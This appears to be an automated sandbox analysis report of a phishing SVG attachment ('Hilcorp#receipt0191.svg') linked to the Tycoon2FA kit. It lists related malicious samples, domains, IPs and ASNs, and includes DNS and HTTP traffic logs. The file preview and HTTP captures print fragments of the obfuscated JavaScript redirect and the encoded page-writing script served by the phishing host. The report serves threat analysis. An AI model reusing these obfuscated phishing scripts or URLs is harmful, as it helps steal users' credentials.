	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	phishing.eml	Get hash	malicious	Unknown	Browse	104.17.24.14
ea.gdpfjvzprf.es	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.16.1
code.jquery.com	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://www.bing.com/ck/a?!&&p=4bc123521bd053746ce6213fb7efb9db6bd547d194d9f27180003c09ab9dfa29JmltdHM9MTc0Mjc3NDQwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly9iaW9tZWRzdGF0LmNvbS5ici9jYXRlZ29yeS9jYWxjdWxvLWFtb3N0cmFsLw&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	SARB forex updates.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	phishing.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
github.com	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	test.html	Get hash	malicious	Unknown	Browse	140.82.113.4
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://github.com/testadminia/Card-Memory.git	Get hash	malicious	Unknown	Browse	140.82.112.21
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	test.html	Get hash	malicious	Unknown	Browse	140.82.113.4
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
FASTLYUS	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.110.133
	https://www.bing.com/ck/a?!&&p=4bc123521bd053746ce6213fb7efb9db6bd547d194d9f27180003c09ab9dfa29JmltdHM9MTc0Mjc3NDQwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly9iaW9tZWRzdGF0LmNvbS5ici9jYXRlZ29yeS9jYWxjdWxvLWFtb3N0cmFsLw&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	dwde.bat	Get hash	malicious	XWorm	Browse	185.199.111.133
	BEDD.bat	Get hash	malicious	XWorm	Browse	185.199.109.133
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	SARB forex updates.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	151.101.44.193
AKAMAI-ASN1EU	rrrdsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	184.27.119.132
	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.9
	efefa7.elf	Get hash	malicious	Mirai	Browse	172.227.134.111
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	23.210.73.5
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.209.72.31
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.31
	phishing.eml	Get hash	malicious	Unknown	Browse	23.219.36.143
	https://e23a311b.5f438d8b1fa34021ffea2c2f.workers.dev/&umid=ea64e973-4742-4a13-b7e6-f166cfb5aedf&auth=4c13a8eb8816953c02b02599c881676174c26b4b-2d2cb8f6bf763978670ab6e3d03aef460cd5c82c	Get hash	malicious	HTMLPhisher	Browse	23.219.36.138
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	23.219.36.137
	OdJqjzS22H.jar	Get hash	malicious	Can Stealer	Browse	23.219.82.18
CLOUDFLARENETUS	jfeeps.elf	Get hash	malicious	Gafgyt, Mirai	Browse	172.64.218.176
	https://bakambi.com/redirect.php?v=fb27c341ff537c4	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.148.100
	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.29.234
	https://www.bing.com/ck/a?!&&p=4bc123521bd053746ce6213fb7efb9db6bd547d194d9f27180003c09ab9dfa29JmltdHM9MTc0Mjc3NDQwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly9iaW9tZWRzdGF0LmNvbS5ici9jYXRlZ29yeS9jYWxjdWxvLWFtb3N0cmFsLw&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.96.1
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.26.0.100
	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	5.338974671874855
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	Hilcorp#receipt0191.svg
File size:	686 bytes
MD5:	66e130fad3ef88e43b34381efc795644
SHA1:	466b7d29d4ea58af65c5eae9287f49b1a5f0fb32
SHA256:	8f99bdfc4ed25614cd2b934564ada30f40f4e88dcc1a2ac520e1b2ce4d707515
SHA512:	eabf5d8beab40c890fa047b40cee225311ccdd66787e1b502755ac8236fe598496244a66b129ec43e4b5bc3c2af9558557ed33f2e39ea9a9cff48cdc3e5edcd6
SSDEEP:	12:TMHdtkOoVqIP0Qb6rtQrF8qNRZ1/FIwTxR9oQ/03mmXFlHSoOHjwcghpp25DMoJ2:2dtkOoVq20ftHe9urQAmmXytg4DMwiMU
TLSH:	C90199D9DA40CDB043758A748728C9ADFD0B8003860106A8F9982D4F0F34E94C9A5ED9
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">..<script>..<![CDATA[..kBEeP = "$YmNhcm5lc0BoaWxjb3JwLmNvbQ==";..new Function(("77696e646f772e6c6f636174696f6e2e6"+.. "8726566203d2

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 00:31:43.995973110 CET	53	49476	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:44.150902033 CET	53	64603	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:44.856373072 CET	53	64491	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:48.247051954 CET	57908	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:48.247319937 CET	53405	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:48.333828926 CET	53	57908	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:48.333853960 CET	53	53405	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:49.128926039 CET	61811	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:49.128926039 CET	55166	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:49.214719057 CET	53	61811	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:49.214742899 CET	53	55166	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:50.493606091 CET	51609	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:50.493905067 CET	59869	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:50.576528072 CET	53	51609	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:50.576694012 CET	53	59869	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:51.335259914 CET	53	52231	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:51.352080107 CET	60195	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:51.352262974 CET	51160	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:51.435573101 CET	53	60195	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:51.435631990 CET	53	51160	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:56.452507973 CET	59959	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:56.452564001 CET	58961	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:56.541102886 CET	53	59959	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:56.547946930 CET	53	58961	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:57.582007885 CET	60788	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:57.582159042 CET	63975	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:57.666734934 CET	53	60788	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:57.666780949 CET	53	63975	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:58.543369055 CET	53122	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:58.543369055 CET	56214	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:58.629029989 CET	53	53122	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:58.629054070 CET	53	56214	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:59.320902109 CET	64190	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:59.321356058 CET	60989	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:31:59.405678988 CET	53	64190	1.1.1.1	192.168.2.4
Mar 27, 2025 00:31:59.406371117 CET	53	60989	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:01.941473961 CET	59310	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:01.941622972 CET	52876	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:01.950567961 CET	58817	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:01.950725079 CET	54816	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:02.024768114 CET	53	57849	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.026391029 CET	53	59310	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.026453972 CET	53	52876	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.035305977 CET	53	58817	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.035502911 CET	53	54816	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.399502039 CET	56246	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:02.399785995 CET	60888	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:02.401079893 CET	53479	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:02.401290894 CET	60016	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:02.482271910 CET	53	56246	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.482553005 CET	53	60888	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.483938932 CET	53	53479	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:02.484057903 CET	53	60016	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:05.955607891 CET	57060	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:05.956439972 CET	50856	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:06.039170027 CET	53	57060	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:06.039872885 CET	53	50856	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:06.516148090 CET	64430	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:06.516311884 CET	57480	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:06.635593891 CET	53	64430	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:06.635601997 CET	53	57480	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.055073977 CET	51284	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.055249929 CET	53020	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.137991905 CET	53	51284	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.138015032 CET	53	53020	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.548923016 CET	59088	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.549076080 CET	54989	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.553457975 CET	56933	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.553617001 CET	54694	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.631767035 CET	53	59088	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.631791115 CET	53	54989	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.636269093 CET	53	56933	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.636293888 CET	53	54694	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:07.998430967 CET	56420	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:07.998497963 CET	52652	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:08.081245899 CET	53	56420	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:08.081307888 CET	53	52652	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:20.817646027 CET	53	54304	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:26.361402035 CET	53	50858	162.159.36.2	192.168.2.4
Mar 27, 2025 00:32:43.593348026 CET	53	59196	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:43.627618074 CET	53	55546	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:50.727765083 CET	138	138	192.168.2.4	192.168.2.255
Mar 27, 2025 00:32:51.355875015 CET	60934	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:51.356070995 CET	60056	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:32:51.438800097 CET	53	60934	1.1.1.1	192.168.2.4
Mar 27, 2025 00:32:51.438813925 CET	53	60056	1.1.1.1	192.168.2.4
Mar 27, 2025 00:33:14.707526922 CET	53	58924	1.1.1.1	192.168.2.4
Mar 27, 2025 00:34:00.192318916 CET	53	60890	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2025 00:32:01.257468939 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 00:32:01.342397928 CET	223	IN	HTTP/1.1 304 Not Modified Date: Wed, 26 Mar 2025 23:09:48 GMT Expires: Wed, 26 Mar 2025 23:59:48 GMT Age: 1333 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 27, 2025 00:32:01.424268007 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 00:32:01.509674072 CET	223	IN	HTTP/1.1 304 Not Modified Date: Wed, 26 Mar 2025 23:00:24 GMT Expires: Wed, 26 Mar 2025 23:50:24 GMT Age: 1897 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:31:49 UTC	688	OUT	GET /2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:31:50 UTC	1218	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VjPrMUGwoPjTv01gd5JLMt2YRLtB2M6j7UR2u3762GdVRs9PgGSyx9lqE8iXvkXCBRrXKrqGE3fryMKTdTN5ZXW%2FGzQxg%2B%2B1QbzBh7eTpTcRpg0bfTT22sFce%2FXT%2BkhoOTOO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=30272&min_rtt=30216&rtt_var=8543&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1596&delivery_rate=133765&cwnd=253&unsent_bytes=0&cid=c325f740694758cd&ts=262&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InphbVFvc1NNN1dBayszeXZ4N0ppWlE9PSIsInZhbHVlIjoickJRUGJaL0UrRjRvbTNSQklyZ0F1bGtZTEpjSXg0dkFHajRaWDIrRGdVNWlOc2liazc3alJTUFhMVGdhTXZ2TDJlZjhMQ09SVVNYWmhNUitCcXFZY0dqenhCeDM0TThHODVJdmxGSER1NHFRdDF1U1I2ZXJJMVM2eWsvalRORU4iLCJtYWMiOiIzZDJkOWE4MDFjYzczYzJjOTBmMjgyYWYzODY4YTdkNWE4YTMyOGRmMzg0YTMwM2M0YTMzMzc4MzZmMTJjZjBhIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:31:49 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:31:50 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 6f 79 56 6a 63 34 65 6d 6f 32 4e 44 4a 74 52 31 67 7a 61 6c 46 55 4e 6d 31 34 54 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 48 6c 4a 54 79 74 35 54 33 4e 71 5a 6b 78 44 4d 55 38 34 54 7a 6c 4b 52 6d 64 45 51 6d 35 43 4e 30 38 72 59 57 5a 6c 52 33 49 32 53 32 56 79 64 30 4e 33 55 79 39 4d 4c 33 46 75 62 56 52 55 59 32 35 7a 4c 32 68 52 63 56 4e 33 56 56 70 4c 51 30 56 6e 54 6c 56 36 4e 55 56 75 54 33 64 71 4e 32 6c 52 62 6b 4d 30 4c 33 45 35 4d 43 39 6c 64 6d 4e 5a 64 54 6c 6c 63 6b 78 30 62 6a 52 49 4d 57 5a 57 4e 57 52 79 53 30 4e 42 55 47 70 5a 61 6e 4a 6f 57 44 63 31 56 30 52 58 61 56 70 33 4d 47 39 79 4e 44 52 58 4e 33 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkoyVjc4emo2NDJtR1gzalFUNm14Tnc9PSIsInZhbHVlIjoiNHlJTyt5T3NqZkxDMU84TzlKRmdEQm5CN08rYWZlR3I2S2Vyd0N3Uy9ML3FubVRUY25zL2hRcVN3VVpLQ0VnTlV6NUVuT3dqN2lRbkM0L3E5MC9ldmNZdTllckx0bjRIMWZWNWRyS0NBUGpZanJoWDc1V0RXaVp3MG9yNDRXN3o
2025-03-26 23:31:50 UTC	1369	IN	Data Raw: 31 63 64 33 0d 0a 3c 73 63 72 69 70 74 3e 0a 62 77 6f 53 51 79 75 64 51 66 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 46 51 53 35 6e 5a 48 42 6d 61 6e 5a 36 63 48 4a 6d 4c 6d 56 7a 4c 7a 4a 74 61 45 5a 4e 64 53 38 3d 22 29 3b 0a 54 62 50 6e 70 64 6b 6e 78 6d 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 78 6e 6e 41 79 75 67 77 78 74 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 62 77 6f 53 51 79 75 64 51 66 20 3d 3d 20 54 62 50 6e 70 64 6b 6e 78 6d 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 78 6e 6e 41 79 75 67 77 78 74 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 1cd3<script>bwoSQyudQf = atob("aHR0cHM6Ly9FQS5nZHBmanZ6cHJmLmVzLzJtaEZNdS8=");TbPnpdknxm = atob("bm9tYXRjaA==");xnnAyugwxt = atob("d3JpdGU=");if(bwoSQyudQf == TbPnpdknxm){document[xnnAyugwxt](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-03-26 23:31:50 UTC	1369	IN	Data Raw: 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f Data Ascii: OFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oO++oO++o
